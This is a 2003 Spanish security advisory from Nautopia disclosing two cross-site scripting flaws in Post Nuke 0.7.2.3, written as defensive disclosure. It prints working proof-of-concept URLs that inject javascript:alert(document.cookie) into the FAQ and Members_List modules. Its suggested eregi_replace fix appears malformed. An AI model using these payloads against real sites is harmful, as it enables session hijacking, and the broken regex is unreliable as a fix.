Logo de NAUTOPIA y de la Comunidad Nautópata    NAUTOPIA: Privacidad, Seguridad y Libertades Civiles    Foro Local de TARRACO, Tarragona

 

ANILLO     CONTACTAR    CULTURALIA     DOWNLOADS    KIOSKO    FORO         HOME

 

                             Translate 

 

 

 

Cross site scripting en Post Nuke

 

Asunto

Cross site scripting en Post Nuke

Fecha

12-6-03

Versiones afectadas

  • Post Nuke 0.7.2.3-Phoenix

Estatus del desarrollador

El desarrollador fue convenientemente informado

 

Descripción

Post nuke es un sistema de manejo de contenido que permite desarrollar y administrar portales de una forma rápida. Según afirma el desarrollador, es un producto mucho más seguro que sus otros competidores. Su código presenta dos vulnerabilidades de cross site scripting que permiten ejecutar un script en el contexto de la página mediante un enlace.

Esto además del riesgo que puede suponer para aprovechar vulnerabilidades en el navegador, puede ser utilizado para enviar la cookie del usuario a otra página y por lo tanto, secuestrar la sesión del usuario.

 

Exploit

http://www.server.com/modules.php?op=modload&name=FAQ&file=index&myfaq=yes&id_cat=

          1&categories=%3Cimg%20src=javascript:alert(document.cookie);%3E&parent_id=0

http://www.server.com/modules.php?letter=%22%3E%3Cimg%20src=javascript:

          alert(document.cookie);%3E&op=modload&name=Members_List&file=index

 

Solución

El fallo se podría solucionar filtrando de cada variable todos los carácteres no alfa-numéricos, no sólo el tag script, ya que un "> cierra el texto y permite insertar HTML a través del javascript .

$good_var=eregi_replace("[^a-z0-9]+)and([^a-z0-9]+)","0",$var);

 

Créditos

Esta vulnerabilidad fue descubierta por David F. Madrid, redactor de Nautopía.

 

 

-Vulnerabilidades-

 

 

 

 
 

NAUTOPIA © 2003. Reservados todos los derechos.